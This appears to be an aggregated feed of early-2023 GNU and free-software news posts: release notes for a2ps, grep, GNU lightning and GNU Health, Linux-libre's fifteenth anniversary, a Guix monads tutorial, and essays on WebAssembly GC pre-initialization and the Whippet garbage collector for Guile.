What you would get with a bytecode-based $pickle/$unpickle pairwould be the ability to serialize and reload heap state many times. Butfor the pre-initialization case, probably that's not precisely what youwant: you want to residualize a new WebAssembly module that, whenloaded, will rehydrate the heap. In that case you want a function like:
(func $make-init (result (ref (array (mut i8)))) ;; Return an array of WebAssembly code which, when ;; added to the module as a function and invoked, ;; can reconstruct the object graph and set the roots. )
Then you would use binary tools to add that newly generated function tothe module.
In short, there is a space open for a tool which takes a WebAssembly+GCmodule M and produces M', a module which contains a $make-initfunction. Then you use a WebAssembly+GC host to load the module andcall the $make-init function, resulting in a WebAssembly function$init which you then patch in to the original M to make M'', which isM pre-initialized for a given task.
Optimizations
Some of the object graph is constant; for example, an instance of astruct type that has no mutable fields. These objects don't have tobe created in the init function; they can be declared as new constantglobal variables, which an engine may be able to initialize moreefficiently.
The pre-initialized module will still have an initialization phase inwhich it builds the heap. This is a constant function and it would benice to avoid it. Some WebAssembly hosts will be able to runpre-initialization and then snapshot the GC heap using lower-level facilities (copy-on-write mappings, pointer compression and relocatable cages, pre-initialization on an internal level...). This would potentially decrease latency and may allow for cross-instance memory sharing.
Limitations
There are five preconditions to be able to pickle and unpickle the GCheap: 1. The set of concrete types in a module must be closed. 2. The roots of the GC graph must be enumerable. 3. The object-graph edges from each live object must be enumerable. 4. To prevent cycles, we have to know when an object has been visited: objects must have identity. 5. We must be able to create each type in a module.
I think there are three limitations to this pre-initialization idea inpractice.
One is externref; these values come from the host and are bydefinition not introspectable by WebAssembly. Let's keep theclosed-world assumption and consider the case where the set of externalreference types is closed also. In that case if a module allows forexternal references, we can perhaps make its pickling routines call outto the host to (2) provide any external roots (3) identify edges onexternref values (4) compare externref values for identity and (5)indicate some imported functions which can be called to re-createexernal objects.
Another limitation is funcref. In practice in the current state ofWebAssembly and GC, you will only have a funcref which is created byref.func, and which (3) therefore has no edges and (5) can bere-created by ref.func. However neither WebAssembly nor the JS APIhas no way of knowing which function index corresponds to a givenfuncref. Including function references in the graph would thereforerequire some sort of host-specific API. Relatedly, function referencesare not comparable for equality (func is not a subtype of eq), whichis a little annoying but not so bad considering that function referencescan't participate in a cycle. Perhaps a solution though would be toassume (!) that the host representation of a funcref is constant: theJavaScript (e.g.) representations of (ref.func 0) and (ref.func 0)are the same value (in terms of ===). Then you could compare a givenfunction reference against a set of known values to determine its index.Note, when function references are expanded to include closures, we willhave more problems in this area.
Finally, there is the question of roots. Given a module, we cangenerate a function to read the values of all reference-typed globalsand of all entries in all tables. What we can't get at are anyreferences from the stack, so our object graph may be incomplete.Perhaps this is not a problem though, because when we unpickle the graphwe won't be able to re-create the stack anyway.
I am delighted to announce the first stable release of GNU a2ps since 2007!
This release contains few user-visible changes. It does however contain a lot of changes “under the hood”: code clean-up, etc. Therefore, it’s likely that there are new bugs. Do report them to Savannah[1], or the mailing list please!
A big thank-you to all those who tested pre-releases, and especially to Bruno Haible’s tireless work to promote portability: he both tested a2ps on many systems and found lots of minor portability problems, and advised on their solution (often, gnulib code that he wrote). Remaining problems are of course mine!
[1] https://savannah.gnu.org/projects/a2ps
Here are the compressed sources and a GPG detached signature: https://ftpmirror.gnu.org/a2ps/a2ps-4.15.tar.gz https://ftpmirror.gnu.org/a2ps/a2ps-4.15.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.15.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5857-gf17d397771
NEWS
* Noteworthy changes in release 4.15 (2023-03-07) [stable] * New maintainer, Reuben Thomas. * Features: - Replace the 'psmandup' utility with simpler 'lp2' to directly print documents to a simplex printer. - Remove the outdated 'psset' and 'fixnt', and simplify 'fixps' to always process its input with Ghostscript. - Use libpaper's paper sizes. This includes user-defined paper sizes when using libpaper 2. It is still possible to define custom margins using "Medium:" specifications in the configuration file, and the one size defined by a2ps that libpaper does not know about, Quarto, is retained for backwards compatiblity, and as an example. * Documentation - Remove some obsolete explanations. - Reformat --help output consistently to 80 columns. - Some English fixes. * Bug fixes: - Avoid a crash when a medium is not specified; instead, use the default libpaper size (configured by the user or sysadmin, or the locale default). - Fix some other potential crashes and compiler warnings. - Fixes for security bugs CVE-2001-1593, CVE-2015-8107 and CVE-2014-0466. - Minor bugs fixed. * Predefined delegations: - Remove support for defunct Netscape and proprietary Acrobat Reader. - Add lpr wrapper for automatic detection of different printing systems, including CUPS support. * Encodings: - Use libre fonts for KOI-8. - Composite fonts support. * Build - Update build system to more recent autotools and gettext versions. - Build man pages in a simpler and more robust way. - Document runtime dependencies. - Minor code quality improvements. - Minor tidy up and removal of obsolete code. - Require libpaper. - Remove OS/2 support.
The NEWS below describes the two main bug fixes since 3.8.
There have been 38 commits by 4 people in the 26 weeks since 3.8.
Thanks to everyone who has contributed! The following people contributed changes to this release:
Bruno Haible (2) Carlo Marcelo Arenas Belón (2) Jim Meyering (11) Paul Eggert (23)
Jim [on behalf of the grep maintainers] ==================================================================
Here is the GNU grep home page: http://gnu.org/s/grep/
For a summary of changes and contributors, see: http://git.sv.gnu.org/gitweb/?p=grep.git;a=shortlog;h=v3.9 or run this command from a git-cloned grep directory: git shortlog v3.8..v3.9
Here are the compressed sources: https://ftp.gnu.org/gnu/grep/grep-3.9.tar.gz (2.7MB) https://ftp.gnu.org/gnu/grep/grep-3.9.tar.xz (1.7MB)
Here are the GPG detached signatures: https://ftp.gnu.org/gnu/grep/grep-3.9.tar.gz.sig https://ftp.gnu.org/gnu/grep/grep-3.9.tar.xz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify grep-3.9.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.72a.65-d081 Automake 1.16i Gnulib v0.1-5861-g2ba7c75ed1
NEWS
* Noteworthy changes in release 3.9 (2023-03-05) [stable]
** Bug fixes
With -P, some non-ASCII UTF8 characters were not recognized as word-constituent due to our omission of the PCRE2\_UCP flag. E.g., given f(){ echo Perú|LC\_ALL=en\_US.UTF-8 grep -Po "$1"; } and this command, echo $(f 'r\w'):$(f '.\b'), before it would print ":r". After the fix, it prints the correct results: "rú:ú".
When given multiple patterns the last of which has a back-reference, grep no longer sometimes mistakenly matches lines in some cases. [Bug#36148#13 introduced in grep 3.4]
BOSTON, Massachusetts, USA -- March 2, 2023 -- The Free SoftwareFoundation (FSF) today announced the director of sustainability atiFixit, Elizabeth Chamberlain, as its closing keynote for LibrePlanet2023, the fifteenth edition of the FSF's conference on ethicaltechnology and user freedom. The annual technology and social justiceconference will be held March 18 and 19, 2023 at the Boston Conventionand Exhibition Center as well as online.
It was February 2008 when Jeff Moe announced Linux-libre, a project to share the efforts that freedom-respecting distros had to undertake to drop the nonfree bits distributed as part of the kernel Linux.
> "For fifteen years, the Linux-libre project has remained dedicated > to providing a kernel that respects everyone's freedom and has > become an essential part of the free software movement. Linux-libre > is widely used by those who value their freedom to use, study, > change, and share software without restrictions or limitations. > These freedoms are essential to creating a just society." > -- Jason Self
Since around 1996, Linux has carried sourceless firmware encoded as sequences of numbers disguised as source code. UTUTO and gNewSense pioneered the efforts of removing them. Cleaning Linux up is a substantial amount of work, so the existence of Linux-libre has alleviated one of the main difficulties in maintaining GNU+Linux distros that abide by the GNU Free Software Distribution Guidelines. The Linux-libre compiled kernel distributions maintained by Jason Self, Freesh (.deb), liberRTy (low-latency .deb) and RPMFreedom (.rpm), make it easy for users of other GNU+Linux distros to take a step towards freedom when their hardware is not too user-hostile.
> "Thanks to Linux-libre, we have entirely libre GNU+Linux distros. > Thanks to Linux-libre, people like me who are not kernel hackers can > install one of those distros and have a computer which never runs a > nonfree program on the CPU. (Provided we use LibreJS as well to > reject nonfree Javascript programs that web sites send us.)" > -- Richard Stallman
Early pieces of firmware in Linux ran peripheral devices, but some of the blobs loaded by Linux nowadays reconfigure the primary central processing units and others contain an entire operating system for the peripherals' CPUs, including a copy of the kernel Linux itself and several other freedom-depriving programs!
After years of our denouncing the social, technical, and legal risks out of Linux's misbehavior, most of the blobs got moved to separate files, still part of the kernel Linux, and then to separate packages, which mitigates some of the legal risks, but the problem keeps growing: more and more devices depend on nonfree firmware and thus remain under exclusive and proprietary control by their suppliers.
Challenge
For 27 years, the nonfree versions of Linux have shown that tolerating blobs and making it easy for users to install and accept them makes users increasingly dependent on user-hostile, blob-requiring devices for their computing. Refusing to give these devices' suppliers what they wish, namely your money and control over your computing, is more likely to succeed at changing their practices if more users refuse.
If you're the kind of software freedom supporter who demands respect for your freedom, keep on enjoying the instant gratification that GNU Linux-libre affords you, and supporting (or being!) those who refurbish old computers and build new ones to respect our autonomy.
However, if you're of the kind for whom last-generation computers are hard to resist, even though you'd prefer if they were more respectful of your freedom, you may wish to consider a delayed gratification challenge: if you and your friends resist hostile computers now, you may get more respectful ones later, for yourselves and for all of us; if you don't, the next generations will likely be even more hostile. Are you up for the challenge?
Present and Future
GNU Linux-libre releases are currently prepared with scripts that automate the cleaning-up and part of the verification. For each upstream major and stable release, we run the scripts, updating them as needed, and publish them, along with the cleaning-up logs and the cleaned-up sources, in a git repository. Each source release is an independent tag, as in, there are no branches for cleaned-up sources. This is so we can quickly retract releases if freedom bugs are found.
We have plans to change the cleaning-up process and the repository structure in the future: we're (slowly) preparing to move to a rewritten git repository, in which, for each commit in upstream Linux main and stable repositories, there will be a corresponding cleaned-up commit in ours. Undesirable bits are going to be cleaned up at the commit corresponding to the one in which upstream introduced or modified them, and other modifications will be checked and integrated unchanged, mirroring the upstream commit graph, with "git replace" mappings for individual commits and, perhaps, also for cleaned-up files.
This is expected to enable us to track upstream development very closely, to get stable and major releases out nearly instantly and often automatically and to enable Linux developers to clone our freed repository instead of our upstream to write and test their changes. The same techniques used to create the cleaned-up repository can be used to fix freedom bugs in it.
Artwork
Jason Self has made several beautiful pictures of his version of Freedo, our light-blue penguin mascot, and we've used them for our recent releases.
Marking the beginning of the week in which we celebrate 15 years of Linux-libre, we had the pleasure of publishing a major release, 6.2-gnu, codenamed "la quinceañera", with a picture of Freedo dressed up for the occasion: <https://www.fsfla.org/pipermail/linux-libre/2023-February/003502.html>
But there's more! He also made a commemorative black-and-white wallpaper with classic Freedo, also dressed up for the occasion. Check them out, and feel free to tune the colors to your liking! <https://linux-libre.fsfla.org/#news>
He also modeled a 3D Freedo in Blender, and we're looking for someone who could 3D-print it and get it to the FSF office in time for the LibrePlanet conference. Rumor has it that Richard Stallman is going to auction it off to raise funds for the FSF! Can you help?
About GNU Linux-libre
GNU Linux-libre is a GNU package maintained by Alexandre Oliva, on behalf of FSFLA, and by Jason Self. It releases cleaned-up versions of Linux, suitable for use in distributions that comply with the Free Software Distribution Guidelines published by the GNU project, and by users who wish to run Free versions of Linux on their GNU systems. The project offers cleaning-up scripts, Free sources, binaries for some GNU+Linux distributions, and artwork with GNU and the Linux-libre mascot: Freedo, the clean, Free and user-friendly light-blue penguin. Visit our web site and Be Free!
About the GNU Operating System and Linux
Richard Stallman announced in September 1983 the plan to develop a Free Software Unix-like operating system called GNU. GNU is the only operating system developed specifically for the sake of users' freedom: <http://www.gnu.org/gnu/the-gnu-project.html>
In 1992, the essential components of GNU were complete, except for one, the kernel. When in 1992 the kernel Linux was re-released under the GNU GPL, making it Free Software, the combination of GNU and Linux formed a complete Free operating system, which made it possible for the first time to run a PC without non-Free Software. This combination is the GNU+Linux system: <http://www.gnu.org/gnu/gnu-linux-faq.html>
About FSFLA
Free Software Foundation Latin America joined in 2005 the international FSF network, previously formed by Free Software Foundations in the United States, in Europe and in India. These sister organizations work in their corresponding geographies towards promoting the same Free Software ideals and defending the same freedoms for software users and developers, working locally but cooperating globally.
Copyright 2023 FSFLA
Permission is granted to make and distribute verbatim copies of this entire document without royalty, provided the copyright notice, the document's official URL, and this permission notice are preserved.
Permission is also granted to make and distribute verbatim copies of individual sections of this document worldwide without royalty provided the copyright notice and the permission notice above are preserved, and the document's official URL is preserved or replaced by the individual section's official URL.
On Thursday, Feb 23rd, 2023, GNU Solidario and the Spanish NGO Fundación La Vicuña ORL have signed a cooperation agreement to promote and implement the Health and Hospital Management component from GNUHealth in those areas and institutions where Fundación La Vicuña has activities, mainly Spain and countries in Africa.
Fundación La Vicuña is a non-profit organization founded 15 years ago by a group of physicians, mostly ear, nose and throat specialists in Cadiz, Spain.
GNU Solidario and Fundacion La Vicuña share the goal of improving the lives of the underprivileged, through Social Medicine and universal access to healthcare. GNU Health will be a very valuable tool to assess the socioeconomic determinants of health and to minimize the impact in the vulnerable population, both in Spain and in the African continent. GNU Health will improve the management of health institutions and the daily medical practice where Fundación La Vicuña has missions. Patient evaluations, medical records, prescriptions, laboratory, surgeries and inpatient/hospitalization will be some of the areas that will benefit from GNU Health HMIS.
Casimiro García, president and founder of Fundación La Vicuña and Luis Falcón, founder and president of GNU Solidario, formalized the cooperation agreement this Thursday. In the coming weeks, GNU Solidario will train the team from Fnd. La Vicuña in the use of GNUHealth, and a development environment will be rolled out.
We are thrilled and looking forward to working hand in hand with Fundación la Vicuña, to put into practice the philosophy of open science and Libre software in healthcare for the betterment of our societies, delivering Social Medicine and dignity to those who need it most.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
In the last post,we briefly mentioned the with-store and run-with-store macros. Today, we'llbe looking at those in further detail, along with the related monad library andthe %store-monad!
Typically, we use monads to chain operations together, and the %store-monad isno different; it's used to combine operations that work on the Guix store (forinstance, creating derivations, building derivations, or adding data files tothe store).
However, monads are a little hard to explain, and from a distance, they seem tobe quite incomprehensible. So, I want you to erase them from your mind for now.We'll come back to them later. And be aware that if you can't seem to get yourhead around them, it's okay; you can understand most of the architecture of Guixwithout understanding monads.
Yes, No, Maybe So
Let's instead implement another M of functional programming, maybe values,representing a value that may or may not exist. For instance, there could be aprocedure that attempts to pop a stack, returning the result if there is one, ornothing if the stack has no elements.
maybe is a very common feature of statically-typed functional languages, andyou'll see it all over the place in Haskell and OCaml code. However, Guile isdynamically typed, so we usually use ad-hoc #f values as the "null value"instead of a proper "nothing" or "none".
Just for fun, though, we'll implement a proper maybe in Guile. Fire up thatREPL once again, and let's import a bunch of modules that we'll need:
(use-modules (ice-9 match) (srfi srfi-9))
We'll implement maybe as a record with two fields, is? and value. If thevalue contains something, is? will be #t and value will contain the thingin question, and if it's empty, is?'ll be #f.
What if tried introducing higher-order procedures (procedures that accept otherprocedures as arguments) into the equation? Because we're functionalprogrammers and we have an unhealthy obsession with that sort of thing.
It lives! To make it easier to compose procedures like this, we'll define amacro that allows us to perform any number of sequenced operations with only onecomposition form:
Congratulations, you've just implemented the bind operation, commonly writtenas >>=, for our maybe type. And it turns out that a monad is just anycontainer-like value for which >>= (along with another procedure calledreturn, which wraps a given value in the simplest possible form of a monad)has been implemented.
A more formal definition would be that a monad is a mathematical object composedof three parts: a type, a bind function, and a return function. So, how domonads relate to Guix?
New Wheel, Old Wheel
Now that we've reinvented the wheel, we'd better learn to use the originalwheel. Guix provides a generic, high-level monads library, along with the twogeneric monads %identity-monad and %state-monad, and the Guix-specific%store-monad. Since maybe is not one of them, let's integrate our versioninto the Guix monad system!
First we'll import the module that provides the aforementioned library:
(use-modules (guix monads))
To define a monad's behaviour in Guix, we simply use the define-monad macro,and provide two procedures: bind, and return.
bind is just the procedure that we use to compose monadic procedure callstogether, and return is the procedure that wraps values in the most basic formof the monad. A properly implemented bind and return must follow theso-called monad laws:
(bind (return x) proc) must be equivalent to (proc x).
(bind monad return) must be equivalent to just monad.
(bind (bind monad proc-1) proc-2) must be equivalent to(bind monad (lambda (x) (bind (proc-1 x) proc-2))).
Let's verify that our maybe-chain and something procedures adhere to themonad laws:
(define (mlaws-proc-1 x) (something (+ x 1)))(define (mlaws-proc-2 x) (something (+ x 2)));; First law: the left identity.(equal? (maybe-chain (something 0) mlaws-proc-1) (mlaws-proc-1 0))⇒ #t;; Second law: the right identity.(equal? (maybe-chain (something 0) something) (something 0))⇒ #t;; Third law: associativity.(equal? (maybe-chain (maybe-chain (something 0) mlaws-proc-1) mlaws-proc-2) (maybe-chain (something 0) (lambda (x) (maybe-chain (mlaws-proc-1 x) mlaws-proc-2))))⇒ #t
Now that we know they're valid, we can use the with-monad macro to tell Guixto use these specific implementations of bind and return, and the >>=macro to thread monads through procedure calls!
But Guix provides many higher-level interfaces than >>= and return, as wewill see. There's mbegin, which evaluates monadic expressions without bindingthem to symbols, returning the last one. This, however, isn't particularlyuseful with our %maybe-monad, as it's only really usable if the monadicoperations within have side effects, just like the non-monadic begin.
There's also mlet and mlet*, which do bind the results of monadicexpressions to symbols, and are essentially equivalent to a chain of(>>= MEXPR (lambda (BINDING) ...)):
Various abstractions over these two exist too, such as mwhen (a when plus anmbegin), munless (an unless plus an mbegin), and mparameterize(dynamically-scoped value rebinding, like parameterize, in a monadic context).lift takes a procedure and a monad and creates a new procedure that returnsa monadic value.
There are also interfaces for manipulating lists wrapped in monads; listmcreates such a list, sequence turns a list of monads into a list wrapped in amonad, and the anym, mapm, and foldm procedures are like their non-monadicequivalents, except that they return lists wrapped in monads.
This is all well and good, you may be thinking, but why does Guix need a monadlibrary, anyway? The answer is technically that it doesn't. But building onthe monad API makes a lot of things much easier, and to learn why, we're goingto look at one of Guix's built-in monads.
In a State
Guix implements a monad called %state-monad, and it works with single-argumentprocedures returning two values. Behold:
(with-monad %state-monad (return 33))⇒ #<procedure 21dc9a0 at <unknown port>:1106:22 (state)>
The run-with-state value turns this procedure into an actually useful value,or, rather, two values:
What is state-push? It's a monadic procedure for %state-monad that takeswhatever's currently in the first value (the primary value) and pushes it ontothe second value (the state value), which is assumed to be a list, returning theold state value as the primary value and the new list as the state value.
So, when we do (run-with-state result (list 32)), we're passing (list 32) asthe initial state value, and then the >>= form passes that and 33 tostate-push. What %state-monad allows us to do is thread together someprocedures that require some kind of state, while essentially pretending thestate value is stored globally, like you might do in, say, C, and then retrieveboth the final state and the result at the end!
If you're a bit confused, don't worry. We'll write some of our own%state-monad-based monadic procedures and hopefully all will become clear.Consider, for instance, theFibonacci sequence, in whicheach value is computed by adding the previous two. We could use the%state-monad to compute Fibonacci numbers by storing the previous number asthe primary value and the number before that as the state value:
(define (fibonacci-thing value) (lambda (state) (values (+ value state) value)))
Now we can feed our Fibonacci-generating procedure the first value usingrun-with-state and the second using return:
This is all very nifty, and possibly useful in general, but what does this haveto do with Guix? Well, many Guix store-based operations are meant to be usedin concert with yet another monad, called the %store-monad. But if we look at(guix store), where %store-monad is defined...
It was all a shallow façade! All the "store monad" is is a special case of thestate monad, where a value representing the store is passed as the state value.
Lies, Damned Lies, and Abstractions
We mentioned that, technically, we didn't need monads for Guix. Indeed, many(now deprecated) procedures take a store value as the argument, such asbuild-expression->derivation. However, monads are far more elegant andsimplify store code by quite a bit.
build-expression->derivation, being deprecated, should never of course beused. For one thing, it uses the "quoted build expression" style, rather thanG-expressions (we'll discuss gexps another time). The best way to create aderivation from some basic build code is to use the new-fangledgexp->derivation procedure:
You don't have to understand the #~(...) form yet, only everything surroundingit. We can see that this gexp->derivation returns a procedure taking theinitial state (store), just like our %state-monad procedures did, and like weused run-with-state to pass the initial state to a %state-monad monadicvalue, we use our old friend run-with-store when we have a %store-monadmonadic value!
(define symlink-irssi-drv (with-store store (run-with-store store symlink-irssi)))⇒ #<derivation /gnu/store/q7kwwl4z6psifnv4di1p1kpvlx06fmyq-link-to-irssi.drv => /gnu/store/6a94niigx4ii0ldjdy33wx9anhifr25x-link-to-irssi 7fddb7ef52d0>
Let's just check this derivation is as expected by reading the code from thebuilder script.
And indeed, it symlinks the irssi binary to the output path. Some other,higher-level, monadic procedures include interned-file, which copies a filefrom outside the store into it, and text-file, which copies some text into it.Generally, these procedures aren't used, as there are higher-level proceduresthat perform similar functions (which we will discuss later), but for the sakeof this blog post, here's an example:
(with-store store (run-with-store store (text-file "unmatched-paren" "( <paren@disroot.org>")))⇒ "/gnu/store/v6smacxvdk4yvaa3s3wmd54lixn1dp3y-unmatched-paren"
Conclusion
What have we learned about monads? The key points we can take away are:
Monads are a way of composing together procedures and values that are wrappedin containers that give them extra context, like maybe values.
Guix provides a high-level monad library that compensates for Guile's lack ofstatic typing or an interface-like system.
The (guix monads) module provides the state monad, which allows you tothread state through procedures, allowing you to essentially pretend it's aglobal variable that's modified by each procedure.
Guix uses the store monad frequently to thread a store connection throughprocedures that need it.
The store monad is really just the state monad in disguise, where the statevalue is used to thread the store object through monadic procedures.
If you've read this post in its entirety but still don't yet quite get it, don'tworry. Try to modify and tinker about with the examples, and ask any questionson the IRC channel #guix:libera.chat and mailing list at help-guix@gnu.org,and hopefully it will all click eventually!
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
This alpha release benefits from feedback from the platform-testers list (mostly Bruno Haible, thanks Bruno!) The work is all on the build system. If you have not tried a previous alpha release for functionality, now is the time!
Here are the compressed sources and a GPG detached signature: https://alpha.gnu.org/gnu/a2ps/a2ps-4.14.95.tar.gz https://alpha.gnu.org/gnu/a2ps/a2ps-4.14.95.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.14.95.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5836-geecd8afd69
NEWS
* Noteworthy changes in release 4.14.95 (2023-02-20) [alpha] * Build - Build man pages in a simpler and more robust way, using x-to-1 from gnulib. - Don't install useless liba2ps.h. - Other minor build system improvements, including updating to more recent autoconf and gettext. - Don't require help2man or gperf to build from source. - Document runtime dependencies. - Minor code quality improvements.
Variable stack framesize implemented for aarch64, arm, i686, mips, riscv, loongarch and x86\_64. This means function calls use only the minimum required stack space for prolog and epilog.
Optimization of prolog and epilog to not create a frame pointer if not required, and not even save and restore the stack pointer if not required on a leaf function. These features implemented for the ports with variable stack framesize.
New clor, czr, ctor and ctzr instructions, that count leading/trailing zeros/ones. These use hardware implementation when available, otherwise fallback to a software implementation.
Correct several bugs with jit\_arg\_register\_p and jit\_putarg{r,i}{\_f,\_d}. These bugs were not noticed earlier due to an incorrect check for correctness in check/carg.c.
Add rip relative addressing support for x86\_64 and shorter signed 64 bit constant load if the constant fits in a signed 32 bit integer. This significantly reduces code size generation.
Correct bugs in branch generation code for pppc and sparc.
Correct bug in signed 32 bit integer load in ppc 64 bits.
Add short relative unconditional branches and calls to mips, reducing code size generation.
The base-devel package group has recently been replaced by a meta package of the same name. People that had the base-devel package group installed (meaning people that installed base-devel before February 2nd) have to explicitly re-install it to get the new base-devel package installed on their system:
I am excited to announce the release of series 4.2 from the GNU Health Hospital Management Information System (HMIS) component!
The 4.2 series is the result of one year of work and cooperation with the community. Many new exciting features are included, bugs fixed and new translations are now in place.
What is new in GNUHealth Hospital Management 4.2 series
The following is a summary of the main new features included in GH 4.2 .
Enhanced Medical Imaging functionality and ergonomics.
Introduced GNU Health "Focus on" section on patient main form. Key health indicators that put our attention on the patient main health conditions. The main indicators are Cardiovascular (excl hbp), HBP, Nutrition, Cognitive, Social, Cancer and Immuno.
Surgery package has been vastly revised and enhanced. Thanks to the collaboration with our colleagues from Cirugia Solidaria, the surgery package is now being used in thousands of operations and all the new functionality is available in this 4.2.
Enhanced Insurance and billing functionality. Now, in one view we can integrate all product policies from a particular insurance company plan. The 4.2 release also allows to include a fixed prices on product or category.
The Vital Record System (VRS) can now issue reports on birth and death certificates.
Demographics can now accept entering estimate age / DoB.
Health services has now the functionality of "grouping" all the tests from a single order - lab and medical imaging -. It allows automatically updating the service document directly right from the request order wizard. There a new "ungroup" checkbox that, when set, it will behave as today, ie, giving the option to the manager.
Improved Patient encounter / evaluation. Medical interventions, DDx and secondary conditions. A new report is now available that summarizes the key information from the evaluation.
Weblate translations holds 35 languages!
Instance and connection information visible at the GTK client title
On the technical side, we have improved unit testing on each package, speedup load times on large datafiles and using python-sql for most queries.
Last but not least.... GNU Health is now REUSE (Free Software Foundation Europe) compliant! This is a great step forward, since REUSE facilitates documenting and sharing licenses of Libre projects like GNU Health. It's been quite a bit of work, but definitely worth!
Upgrading from GNU Health 4.0
The GNUHealth 4.2 will benefit from the stability of using Tryton 6.0! Still, at GH level there are significant changes on the data dictionary and kernel.
As usual:
Make a FULL BACKUP your kernel, database and attach directories !!!
Follow the instructions on the Wikibooks.
Development focus
In addition of the GH HMIS server, we will focus the development in the following areas of the GNU Health ecosystem:
The Documentation Portal. We now have a dedicated server that will host the documentation for the GNUHealth ecosystem components.
The docmentation portal is a read-only resource, focusing on stability and high-quality. We will also keep using Wikibooks as a community wiki, as well as development.
MyGNUHealth: The GNU Health app for desktop and mobile devices
Thalamus and the Federation Portal. The GNU Health Federation integrates information from many health institutions and individuals from a region or country. The GH Federation portal will allow to manage resources, as well as the main point for **analytics** and **reporting** of massive demographics and epidemiological data generated nationwide. People, health centers and research institutions will benefit from the GNU Health Federation and the GNU Health ecosystem in general.
As always, no matter how hard we try to avoid them, there will be bugs, so please test the new system, upgrade process, languages, and give us your feedback via them via health@gnu.org
The community server has been already migrated to 4.2.0, so you just need to download the GNU Health HMIS client.
Happy and Healthy Hacking !
-- Dr. Luis Falcon, M.D. President, GNU Solidario Advancing Social Medicine https://www.gnuhealth.org
Organizations are leaving Twitter, but will they make the wrong choice and choose something that requires nonfree software? Now's the time to tell your government and other groups you are a part of to make the right move to a freedom-respecting platform.
Friends, you might have noted, but over the last year or so I reallycaught the GC bug. Today's post sums up that year, in the form of atalk I gave yesterday at FOSDEM. It's long! If you prefer video, youcan have a look instead to the at the FOSDEM eventpage.
Whippet: A New GC for Guile
4 Feb 2023 – FOSDEM
Andy Wingo
Guile is...
Mostly written in Scheme
Also a 30 year old C library
// APISCM scm\_cons (SCM car, SCM cdr);// Many third-party usersSCM x = scm\_cons (a, b);
So the context for the whole effort is that Guile has this part of itsimplementation which is in C. It also exposes a lot of thatimplementation to users as an API.
Putting the C into GC
SCM x = scm\_cons (a, b);
Live objects: the roots, plus anything a live object refers to
How to include x into roots?
Refcounting
Register (& later unregister) &x with gc
Conservative roots
So what contraints does this kind of API impose on the garbagecollector?
Let's start by considering the simple cons call above. In agarbage-collected environment, the GC is responsible for reclaimingunused memory. How does the GC know that the result of a scm\_conscall is in use?
Generally speaking there are two main strategies for automatic memorymanagement. One is reference counting: you associate a count with anobject, incremented once for each referrer; in this case, the stackwould hold a reference to x. When removing the reference, youdecrement the count, and if it goes to 0 the object is unused and can befreed.
We GC people used to laugh at reference-counting as a memory managementsolution because it over-approximates the live object set in thepresence of cycles, but it would seem that refcounting is comingback.Anyway, this isn't what Guile does, not right now anyway.
The other strategy we can use is tracing: the garbage collectorperiodically finds all of the live objects on the system and thenrecycles the memory for everything else. But how to actually find thefirst live objects to trace?
